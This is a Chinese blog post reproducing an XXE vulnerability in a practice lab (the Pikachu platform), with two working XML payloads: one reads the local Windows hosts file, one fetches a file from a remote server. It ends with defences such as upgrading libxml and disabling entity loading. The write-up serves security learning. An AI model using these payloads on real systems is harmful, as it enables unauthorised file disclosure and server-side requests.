XXE漏洞复现

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接: https://blog.csdn.net/chest_/article/details/102699135

引言~

XXE就是XML外部实体注入,当允许引用外部实体时, XML数据在传输中有可能会被不法分子被修改,如果服务器执行被恶意插入的代码,就可以实现攻击的目的攻击者可以通过构造恶意内容,就可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等危害。


实验环境~

PHP版本:5.4.45
中间件:apache
复现平台:皮卡丘漏洞练习平台
libXML编译版本:2.7.8 libxml环境要在2.8以下

复现步骤

1.输入框输入body text 被当做xml命令执行了,初步判定存有xxe漏洞
在这里插入图片描述

2.构造payload验证语句测试

<?xml version="1.0" encoding="gb2312"?>
<!DOCTYPE a [
 <!ENTITY xhh SYSTEM "C:/Windows/System32/drivers/etc/hosts">
]>
<a>&xhh;</a>

在这里插入图片描述
成功通过xml外部实体函数获取windows敏感文件


再来验证是否能读取远程服务器的robot文件
poc:

Payload:
<?xml version="1.0" encoding="gb2312"?>
<!DOCTYPE a [
 <!ENTITY xhh SYSTEM "http://khanany.com/robots.txt">
]>
<a>&xhh;</a>

在这里插入图片描述

在这里插入图片描述

成功读取,证明存在xxe漏洞,xxe漏洞复现完毕


漏洞防御

• 1.尽量不适用xml传输数据
• 2.libxml库升级为到2.9.0及以上

如果当前使用的程序为PHP,则可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体,从而起到防御的目的。

猜你喜欢

转载自blog.csdn.net/chest_/article/details/102699135